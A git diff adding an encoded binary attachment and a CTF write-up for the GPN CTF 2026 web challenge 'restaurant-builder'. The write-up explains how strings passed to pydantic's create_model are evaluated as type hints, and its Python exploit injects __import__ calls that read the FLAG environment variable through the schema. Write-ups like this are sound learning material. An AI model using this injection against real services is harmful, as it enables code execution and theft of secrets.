zjmbdVtEpXom|N}rC=qOzZfi2oL^T$8YO=AP_0ddk_xO<1>qN9~->7m0d_>%O3`?S{ zF%!LNAV=-4`4o#371x%!QH6I?s#LailWP@A&j=IuRj#o-i=#i=Q7IWR%Bg~25vW(q zEm%wAO5w1gbD^hg$rT51jD&*B0eOOluVC(6IUL<+tTqJR%15pDltM+($KN`n&Lt9B zTL+r$l0Pj5w+D-`rOhjOlG)~Mm@W#k@YufQAOY| zm}vJ|16cX4=3$Ov3&QFU&+n{i*zQ7J;I+iJ*w+V3bJb5-+Q#cJSJRg^pP*49Hy6j* zLv$GUC)H=$)>J9I(5C`iO%ixmVn4R_Q^doT{$e^*gf)+_BDeARYEIv-t2YMuG^yb_ zFxxs1krXGkdX1=Czr@7V%W21fC%JD>`|_Jy~s8QUP%7W35QS z;qm!gO0xm>C<)ixNC}Jza9kU-bPE&e5(rQI=y4$mzI$!!fm+DoWQ!4c#3y)fDSEk( zk*FlcY2sgkyTGMukrfFZ08zta?`&sPKziVaDvhhBYI4f8w<}ks!Fi=xd**7vE~+zm zp`;`HPpSM+G%XRHqwPZH8kS+KEZz>=?x`Dv=0P{%w5i3cseWz(af2hh&2R>uEYOZ5mJ37X^sd7~`%v#!bNu+E;{s>>{ zQApuur`Md@?eRw_9jg+I=4VXz*=qP#;rrH^S-=gRSH@pG=50tqQ!APFUGmGQN%<0w z5g0p%l;m6sv7MJ>bsxSH-YFlj9zvcu6TZ#V*=wXQs6G=srlEZ+XqZ6ZC2Pej=Mky< z*7cZ5;;!IyOfg54;O}s6Sx1c&X`(?B4vX5h}EuH4zb7w2(!14>9Dya3VLFAs}+f{K5wf z6&9G*RniI0&NDqV+}|jCb30H)6gN}@6;c1dlM@xg>r~zbDv{Lkpa}H_>wAqMgLi;? zp03>&ci!5l{gES@FQmd}fKt5rcuhuh5)cjq=@mi*_XZcOsc#c0Q`0UIT&#xtm)rP! zkdyXrm37$CU#x8VHbM0^1R#)5XpZjG84e1H#c1r8lg5wx_O)xN6#k(?s_zW0cMoQ+ zZw;OJ#LS?iQ)?XsM)?mBxoAla@rC0GnI~1Q0v4>W8znY3WH0292(&$$t~A=)8WI?0n`}XC7oL>QC0E? zr>;qD9!@unrkSjD0&Vc3SyJk4v3$4Dl1H|UN=q(`SXdEzT6x=aKfN=4=NN;UnH|_m za3-nrl87FcIDgwa`Y1u$O|1`EOPqH_DkWc+v~yor5`fZ2Kz9rmA5V2#gxfOK-nEAT zs%PpVXj)qV2Hs7<8r!nsi&!yTpkJEKpth_mR zSZ_nRav6w`9Qm?rgwMdIEyLGD)P{6lpPW^gdmw;E0{E$^jKN)fxsKXR-QHyjW1PWZ zk&98cil{SW`pR0WS3uELW4s5M)a*uGj|H9fspbAg5uB{AhgnusM>vpU)|f^1JBjo& z4lyfQRvxrE#%I#1;)iya=MW+2?kW_~t1<%Q0aNFTIai`+uRdROmtbaqyJ!ei^$(9Tttm0fJ;9H0~41b za1IZ!Ly^}q+i9V-(Wcd zo`{^@DExn0cXi(z7_^kRgagI{|D3Vi3L01h4L&)YY6`>}LEE`COOekKVj8fBnh?}? zQHNuIkAvtmxV)G_pvP_Z?A-BF)WD$*4}N`X`C0~0R%VTBjwDFI^XJURlwK#kZ$g4*_4k!J@QVp}m|LTrH+@4y|Z) z@TCC69{B$XY%hAX>s8mh5A;d(r5mX^=|XQI=sOOw=k__+mU6FoyJdX#~55 z(K?KX2v{&!P!Q&+;|k&4a-7$f=g(+DlsT2w&wgF|3QaOQkb6J^YRo86pc##6h2SP; zC95)SK$kT-^Q99KvaoDcL4HpAyBgVKrt z&5{jLZs66j`rt|SwQD`SR+FVcY_$N>B(H9ADZ6=;t>J)Rf6IVl5+!=M>(Xc3PW zqM}_98Lwy&;{C9d5X-ZrX@5PZN>ERMsu?8@=Us=%daa_K3R#Dz&a_z=$PPfv4BR zewax#&|)>pfJf(O-wE%bYB|;chndI)&JfOEOlz+gkA!inH^FVLJtpG;z=jY?=tQtf zw}Lv22}@gGF=Bsg3lC}DWzOHQsHG!#RMIDF8az{lg^GaawPRP;{SbCW9>gU~sC@0k zQjbnvu>E|k-S54Mnpu<&Tzk!2I1`0pymp8H^3?3X`J6=faoBUz!wj!O!9PL(IJN0ml!S~d2TcpJNcNo~ZyrG_5%#tC)ZezD zLYMPNmTKAV$8QIOoF{cq%MeG)+kl0X6iifp%Bb_EH$#?Q3G#Zaw9iwZpYc3 zT6JF3#t13b>N`yOa;LE{MetJ<^>(DHAp;QDB%`FEb(H|YZAlmK=M~m0*hXAefv*#> zwfw`0v`5V6xZ&U_We1Q4pqpI@z) zfJILhS^d>Pns`AjIYai1>t5Fp3@llVTF3wj9~%Lt``g-g?V%_n7u$|}8-n7q_`N!5mAD+aCUaCbGf zNjqB)gzNyVL6xfX)t`bXtWQmF#Nsj+(iF9*y6yBvFycHtbq4Ol24*>4SBpMk+Z4zS9_Y@ri9|LCmrLms%#%cmr zM*HmRw#wd;&Gp+%M{P$YjR&YqO}?&SVN+Be4bGJO$a|}0-W#kG6YBvUB46sMR$}ez zoL6nQSX@obj^G4=o#)1Ko#?8HcZLuc<`EcN^k%5Ae zfFfgSGC6pDD(i54i{5RBKuwi{s65(k!D%!Ik&u4*enVFwH%zbZBbrY*H75!#Jr#}_ z7eTdwd+LChTdRLml_1((;I;bLHP)_qc+~*7HbJX7h!pF2=KPKov0KwpO6f2*O}p&e z+6L-j05TW&QkxcW7|6Hqr-XE^se+fB&S?=TT#aoN+em8i$348*AGLLh|()C}O?kr`qwdB*xj2cAQ8dt$ak>+s>BK0DXnh` zn-jtlS3J;wOvjwCcM#8>IObN>v|YY=#_SmI~bgvy_|)wuUD8 z)EmJKUK$W(Nn=5+gAV6A51dU&2l8R`6PN2b&L+<*oE9uhRI4nm$Cp|;0>L2dXnMwm zVN_`gS1M}?;0CFZI5~0=9{hbaeHUpX)DAm~aiDBHA}3U^)8Hn^Iiv5v#}y4n8x58Q z)*WB!Ih)$Q$xDxqq>Vjb&!F+lr*_AgYn&WYq&jll0SrXo2q0#TE1c*+2D74OYu85l zY-({yLv5o@Du~gz_u2C|ur}!Pu$>X{q(iwOz~-tE(srw6KIx(l4b5B&mac0?{a#h8 zV`tQZ(r_35yeq zKGNTL@88Yaz_zF!U4b21w#EehuekX=Ctm^o>L`#k2onSqSaWIto;#Hpk?89KZogS_ zk-F!7oA%24gJs>p6wJG|2+(<$FBt5MY7Py2cWYJZ77wrz@#H4))`WP*ZMU#S2N4T# zDFkI$&q`*SmbR`L&6E$J^unumJZyA2p~3kXj@j--mWa+AI?_F`P$dpg!>YyRs`9lI z2f1Vy5Vuwh@zJW7sB+?r4h3>>#Xjiz(HzlB14Q*1kLS{Lv@5v4Ybb5>actrks!!LP zb>f%-eeq@OS#UTPqyAxP0|EkS?+9-h%X+?dB_}2A>5a`HxL*k?ktf`Sxrs@ zn2R`7q~&7lcq1E;s7##?x_$^pjOtIW)AF|@5hS?Wn73L8)O_v|1XNUi_o$+;tY4C! zZAVEZ=S4^5lA{(Z*o*fW_1!rl^bID1e$_VT4lqP8CHx2C#Il<8icA%?MGf-;#0#(- zlxAm7&@K->cTqXp0XD;5{HbLit7ykA3fa=QD?7THlUoU7*J>liCjqg2?hS0w3=sww zO2j5-3tHp~E%PpuzE9V0KJV5R$~S^DI*zs&tq_~tuoRl?p$2s16+-lI$OceTO@k`K zP)(wHND=Ys2cUPp_*46ig1vUK#JIpXC{OCbS?W>MUKrJIkzA`fLgOv1=4?7Gyh;=1 zRgsA}YTjke-;g0z?R}_f#UrfLy@9lbe*<`$asdq{NDxGDY+S19G|p8sRC8Xp1?YFz z9;qYcBbsTsRC_8zS9wz;qkfffATBHltK+g0VWpptc-_E>*twqu!PSggOwt zxHIt{HNl!|1sfsJ5Qn(+99HejfnRNYWGRCQA{#;jx(haTqvwRx5$&Mb&3MPff0Z7> zmw_%|AvkKVycJ%$sLg3u@#$n;q=#E-WkDCg>63qN-gA#FWKzcUsOy`0APkj@b*D)6 zeXUx=yh9`VFH)C`baV}h1aI(AH7ofJFcb?0LnJ%!4xEIvPSg$Kh53%>huX!AUOBXT zO=I{G#kcbz@j_Ltffy?~66LZ*sOU~qSLYoGe;H~VzU#b8K&9vpWH|MLEOkb1ohsZX zUF{kHXEsNOIFd}nG0TA46BT9aF+M*}90i1(`olICq5(DhA%Ejt4$oz;kT?eCJ! zP^Sfkbz7mPXMk3@?fQn_Lkbo$G90&oL)Ubxt}!VuoZ%B;e;6&$M&I3}@tVxSB_$20 zoHKi?3T)E`6^9kg(L-{-Q=AIbABFuRc@5S=!Z^1EE#T_3E)3*uA3fcsx%gRLTI=ajN9ati-9>OoE0Qat;`15^`fYJ#r?$33 z5^r2x0Mx>~Io(uEH_?h<|Df!L*F`t*+wM}$8H?qh@dC<8G=bBKECB};?Ir=04zERV zQEp5-x7H+mwH6YQq-?ubwbbx{#hxtxh-$-jNvnkwKnXjVB|FTj=;0HofMjkJ;!+fz z;>kMcpiv!ffj)k)n3hBw(5(^{JGG$DUUR(ep2AAnAC%x{I65#Qq{nb3TLWHKE$Ej< zBh{x!ZxIlYDVZQ zR!tiP%5G`X7J2?bWa~%{&Jr3rRruas+W`NLmDNc|@?jH-DYOY9S`I1! zn>UlfF0_}XJKc<-rVHOKmldhrnx5V8tyuN%TJ@4nUZ{oQ=AbSM&$Km#BQ_Nbb2jZG zX=4sFV>s*(Y(`Y`@teu+@wuY3D1BJ1pv!Epi5cmh^O>#?(R3E!>UAp&=%Dy{r z$%(?mrgPO2yIi4StcMDbx3TJPP4MzLZq=nCJ*Pl2tPwy1$#faWQEucw&>)u`@3ZN< zXd76V?6DTCfxFFdLX`-rf!Z4EVSFcrH(1tJ4ID)RLeY0X0|wz1|w#EGbT z{tSS2Tf=2}0D_LGVenkHZaVA8Gqeq^!`lI3e9|V;CH<1{ZK6$f!92o=zR#Y&fw#eB zYg2sCinGOS*TTL*jNZ@>5lO8ynWcKQ(=AOb;d-gscqVmP`u?EozcJL}6RQ%6P7Oue z{p#yANLEWTX-NtXMhLH@cOH1n;iwi47qSUHPX!bUe^sk`inwJs+4ouXox~0D=ul1N z?qr=PkHI?RvcwV4R0z$d<-Kb*iB+pM@d?epse=|RNdx&Gh#M~30RkL)@zj{AbuH!! zvqdcD9%{6yH!`6ojV9@As)|!(M^dE^Sxu=mbaX*-xW}TN7;-*R30W@rRL6U~k&6nc9b@*; zwTMaQLW^6w2z*=R1jwNas9g#$EEBR^(OeP4!uSrGzG803U9^$ASqRq((LFL00!b&- zS4sdWR7oLXO-t(hbRKEL)4|s+@+&~ggRmctsH@&Xe4VkMS8j7{0T8LCI}(cOMB1nn zK|IuL?KzTCZ`$yU6Uf>~vSIT*88v|+yt3bM>c(pUJ2JRcwYU1LaLs`9An?;Q?j3?V zB3L`EUiPS(xJYgcIt;&)#Q#Cs_vHZQwDE#cbFTlF1aC$jQbb{GIQSV5g(Yml3K1zY zqLR67wNI<4;#*^6ZMe;`uiL%Ld`~a$0w5}N*C>Z6K!l$Im_u8p)+~gFrWA7qrT%B~ zRj&HNwgxEY_J|MCK5*kegyHg@S`(?I>}oa8@W80TWu#$IB&1%8`-3FlRgT98iMQTQ zP!~Dd(sik7HP~<9p!oB@4=0M+bgJ^jsVb#7J2EL@BHr2>kWd59lJpL>Nd#Et_&o$V zOd9yDk2 ze(f9Y-yW)~Ef;f2l~V28Hm z4kX{^QclI;YBix)B||l8E0R;s1iEf&B-$K2^_*%6x3LM@olLF4vdkP|_TuQ3gyVfi zeQ%Z+0WrWT6oCj;wo#;!%+l7#;X2K58i0mW1ykS`3QN-H#jX)6FyOEq4<@a|j02%L zTuz0SHMJ6ahBnlK@3b%m2@*BEsO&_OMO?zib0&G^@bHc6uX#mD+mt$CCcMj{@5&Ju zJ~3}79|T>Y>?X(q{gYjUTZ`g$iE$1RNhOuOk>X}mh^i?tvVjNfDznEx<2J zj79}-1aBe_Dm1xwHmX61UYkr%SJmqS0|UrGUC3%$=lx02wS|kpYU!Lp})Z4Zxk#fX;5$==~X4ECUDkw8TFkRB2Z{%t;bx`VJ%MN z(ul!4G{hMEsCb{YR!=9@7ol7_q;wpV8qMc=%n-wo43Rqz<#2ATeV$kDG4D?vs6Z7I zPpXt;WZ;w5dx&2vy&a-eu5tXNa3uxg$IeY$<6U^2XX+@Hs~{ zy!{=t4?(*K(Y=bnOD$wW4-QzW7JVRxBIMu!km>vd>z~OG)2(Z|qfYbO+LSYI6ID@r z;fO$Su@(Tkx2AQCHsW>($2eFng4OQv9cT1q%l;xSMP`^h1^?DCFMK7pTXXSqBG?1g zgNbAkT&G@Z%i^=5YT7rsgBA3xh-?%h#!{w$mbyjq5L5f<- zqVeOowgif}<{$Vw*JSF)F4`U=wmjSo6ZBRejg2R|9n(O=tgz5RIoj$xVV(;~wW7xc|aa)Ro9)>ML zzHM|9NMYP58hJ#QnnMB$fHO4p&x%+F%i#fCA6$B!aUo_<1+B}-U79-r$GU+rm>Ztji`GN?)hodIT8AYq>OBfCT z+^G!-9YSL$Dyq*wL)Dt!86}G2duQM3YB2YvgCnW0&!Djvo6l&wtzC;lj?f4#C>bIn z&rfJxp|}d(@MUnq8qr;HR8u8!R(^lm-lQ&hcgS=v$d09|CbC&l?4me0x2D51t}@C} z);z>CyvdqUX4Mb3@eJS$Jcdd`+;}jYe{)&#z2V%&pX)uE8oEQa4HX`JAo9eifk0Wv z2bKdr#MvUBQ%_Ba$WN#byJvN9S1s##b!C4BKlb@_;`^`0=YcAsCTL3(Jbp!9Hjr_{ zb<=X2qBv(&xusAWHf=Si3MMOr35=2h-`Tj}SmOa3`%6AG6l&LNO3053!V9@c6Y=2< zGkRFCsws?1^LkpsIca8@R_0=RHN>Oj;;1yQ@Q97S^c3!495`)2_m>KQ7fZu4qN8c& zkdHS(U;CJ*W`P+EH_-&NDFszsi}$Nu3e3Zi;~X!iim`lFr7oJ8gOkyG9K%)PPU1F6 zIkK&Y(h&nEp10yq@&4q<@QQjhT^pvKTl)BLXnZJlTXNF$P9%B)yL&6}E0xr3;dkgm zhkTZBs3@o%`Wl2Eu;09&l?zc8kJv6<{3+wrek(ixxob8@MW84(B)|<2nedIi!g)kI zn`Cj?{9&58?Rr-S)ZDW7JB;^qI`l%^L0ZgO_nLMTF(|G>+vP_?`stxSTk|9hP|?Oj zjYywt3=Zm4U4Ujn1Gabaq`4`~R#2>yF; z1WfrjhsTHK2k%LdX#+Nq529j{XYVA5k<+YxYJncnLb-FYeU**3_?UT@k%fk_3h$9O_bm5x|+$1hrPtxo?A4l98T5=7!l+c{dO< zDu4ckv7XhKdUbvd_+6!+#(K=3h{3rn=pW!gb|yx(K2=_3>Kf%<68btoUuk7}Fjy)F z(2dou-BXno{%YrS@wl2dM%H9E8id#8Y58Lne7J&hyD2={(lM2qaTSu&sut5fk8VEG z;u>G$>Y;f81SL&@1u~$IG!2b((?qSf>$?D4CCq8;o3t^`cp;6H?pWFbID~pTkf2xx zI6Os~xhw1}n4vE&fDwLJJtVyT?pAfX95-m*p~+kXftY#l)dBNTC51%h+RcSMhWpaE8jv)gZZ$k+rMz*?7LvJ2 z`nr|%R+A#;>?L&w2Y5%1C)yl_s2*3p9sr98;ed_f1w3{p>6_O?9BHOPI7-x-TFayP zmc<8+ZxUmhQMw8ud|#SRQD9He@_`nfG+`aH@fXL{8lr6*(Jb1^gOHk_d`TkXh9&KC z(ERmn+sFo@LUV{VK3`jftrk5z;_7@P0%^#?85i2C`rSF518z?l6_(WA+uOEg;OS6j zc8!{iM|uq@?X{{2x(uO&3ro82+|tx7p8FnD%rSF{isbXZVBuI6KD zgMz4iP>(N~un!JTtM7Lh@7W!1T8V{PDH6xIPzM>NQ(1oMSPkU0gzTl#*3t;tS+k&F znT3u(PSnby>1r(3))L#Fdi7XTD7gh&~ri2TgA(@ z@&I&z60eQr>?NG4Tq#=52e#&QBKmK6a2yRE0sVzc9W5By5@e=Lov?b~Htqn~Y0P;W! znZbT~AF}4PL|;c6LnYu`&|b*7Ljy&RtohRc^behpS_3$Xyv`0SLIwB6yYPT=RGxIe ze&G^N6-~hY1#^wQiT8!fQYE?{+N{g3w}wxptbshWAfU!L&i@9rk;^ znh%m%Ywf@uJ7~=58Y(-`xq=fQD@I@gHmcdvfo4$yfxhL6pkn3S z8_s{k+Xm9AO~gEyMO%XOiBP4y*W@*Yr6!nuz`j)l+=JypIgrn3sm>{#1d7kiD_N!H zz=N-Q;;E!SJA-~7jpUjHsZdGYQW6CRgw0U$Erm_sYV(!lzBIU2whS{m!KGgBnH&>d zI;%>#Xo0Jg{pKgGS(h0n3KhZ|xheY_A@BjTcz?t-mJ3n*j5HlJ>O@1pxLQk%zCHKY z;INSOLf6){rsq|UFd5(EEr7W#(2on}4I1Dm=7_E9C7hZjWvhmd_M(O~<*jvhbl{<8SCizf zCK*ma+#=^nn(Ut&5NK;~KDjWQSA1dXcPu8xWRV}m+w7WZ>`UB1ekWi=?f8XBhlwo& zbwVPxBn{{ee+y4We)yQ1@bIs#=k3LxT2fxhmBZGIM!9>jPmp??MyNubOf^s&Nb5U^ zYT6nvN^asb&ztN7IEhSH-ebL|W#VpXzQqQsYL-RR=m@y%s5z0`mL#Z6T2x@h0AL>O zS8mICR3TW&``Hq@=J9|p1-zzHJjHO=o=ET7Mt}tBOcicL!4H0+sj{6c%8=}F3U*Oz z%0}HW=$C{^)kv=A#(M&=W8?CT!FxenOcC$c0*t@5`A(yV4Zk26Cjl?G1F#brj>khV zs)n^a60wKqFm=P&Q&r4c-7vgdADdRom2g|NSb%0~8?M}rguiKCEa^tMu*A=jk()IF zj4H?w0sVG1LDG00960?Z7bs0002OAp57b!)_Qrbm@ry+5lJq0B9%9Pyhe` literal 0 HcmV?d00001 diff --git a/content/writeups/GPN_CTF_2026/restaurant-builder/index.md b/content/writeups/GPN_CTF_2026/restaurant-builder/index.md new file mode 100644 index 0000000..79871ef --- /dev/null +++ b/content/writeups/GPN_CTF_2026/restaurant-builder/index.md @@ -0,0 +1,56 @@ ++++ +title = "restaurant-builder" +date = 2026-06-26 +authors = ["Vighnesh"] ++++ + +> So you want to build your own restaurant? Well, we obviously can't just let you do that. Please first submit blueprints and exact descriptions for the building, all the furniture and every single item you plan to have in the restaurant. +### Handout +[restaurant-builder.tar.gz](attachments/restaurant-builder.tar.gz) + +--- + +Category: Web + +We are given a FastAPI server in this which allows us to create and view pydantic models. +Pydantic is a widely used library in python for data validation and parsing. It basically allows us to declare the format of our data first and validate that the passed data follows the rules. + +#### GET /blueprint/{name} endpoint + + returns the pydantic model in a json format. +#### POST /blueprint/{name} + + Allows us to pass a description of the pydantic model. +The main vulnerability lies here. The string sent by us is passed directly to the create_model function with minimum validation (checks if the key does not start with ```__```) + +Pydantic treats the value of each key as a forward-reference type annotation basically as a type hint. The string is passed through eval() basically allowing arbitrary code execution. + +In this we had to recover the flag, so we have to make sure that the passed string is actually a type hint or else the schema is not accepted. +Since typing was already imported I decided to use an Annotated str, making it a pydantic field with a description of ```__import__('os').getenv('FLAG')```. The description just adds a field to the schema representation its not of use. + +Upon querying the schema we can get the flag from ```['properties']['flag']['description']``` + +``` +import requests +import json + +BASE_URL = "" + +blueprint_name = "awaa" + +payload = { + "flag": "__import__('typing').Annotated[str, __import__('pydantic').Field(description=__import__('os').getenv('FLAG'))]" +} + +response = requests.post(f"{BASE_URL}/blueprint/{blueprint_name}", json=payload) + +print(response.text) + +response = requests.get(f"{BASE_URL}/blueprint/{blueprint_name}") + +schema = response.json() + +flag = schema['properties']['flag']['description'] +print(flag) +``` +